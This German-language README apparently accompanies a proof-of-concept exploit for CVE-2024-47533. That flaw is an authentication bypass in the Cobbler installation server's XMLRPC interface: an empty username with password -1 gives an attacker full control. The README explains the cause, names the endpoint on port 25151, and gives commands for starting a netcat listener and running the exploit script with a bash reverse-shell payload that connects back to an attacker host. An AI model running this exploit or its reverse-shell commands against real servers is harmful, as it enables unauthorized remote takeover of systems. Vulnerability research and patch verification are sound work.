
CVE-2024-47533 ist eine kritische Schwachstelle zur Umgehung der Authentifizierung in Cobbler (Versionen 3.0.0 bis vor 3.2.3 und 3.3.7), die eine nicht authentifizierte Remote-Codeausführung über die XMLRPC-Schnittstelle ermöglicht.
⚠️ Kritische Remotecodeausführung durch Authentifizierungsumgehung in Cobbler
🛠️ PoC-Implementierung von @dollarboysushil
Cobbler, ein Linux-Installationsserver, der die schnelle Einrichtung von Netzwerkinstallationsumgebungen ermöglicht, weist in den Versionen 3.0.0 bis (aber nicht einschließlich) 3.2.3 und 3.3.7 eine Authentifizierungsschwachstelle auf. Die Funktion utils.get_shared_secret() gibt immer -1 zurück, sodass sich jeder mit einem leeren Benutzernamen ('') und dem Passwort -1 mit der Cobbler-XML-RPC-Schnittstelle verbinden kann. Dadurch kann ein Angreifer mit Netzwerkzugriff die volle Kontrolle über den Cobbler-Server erlangen. Die Schwachstelle ist in den Versionen 3.2.3 und 3.3.7 behoben.
Die Schwachstelle wird durch eine unsachgemäße Behandlung des Shared Secrets in der Funktion utils.get_shared_secret() verursacht, die immer -1 zurückgibt und die Authentifizierung dadurch effektiv umgeht. Dadurch kann sich jeder Netzwerkbenutzer mit leeren Anmeldeinformationen mit der XMLRPC-Schnittstelle von Cobbler verbinden und beliebige Befehle ausführen.
http://<target>:25151/ — XMLRPC-API-Endpunkt von Cobbler
Das Exploit-Skript unterstützt verschiedene Reverse-Shell-Payloads, darunter:
nc, nc2)Starten Sie einen Netcat-Listener auf Ihrem Rechner:
nc -lvnp 4444

Führen Sie das Exploit-Skript CVE-2024-47533-dbs.py aus.
python3 CVE-2024-47533-dbs.py -t http://127.0.0.1:25151 -l 10.10.15.16 -p 4444 --payload bash

Nach erfolgreicher Ausführung verbindet sich die Reverse Shell zurück mit dem Listener und gewährt dem Angreifer Remote-Zugriff auf den Server.
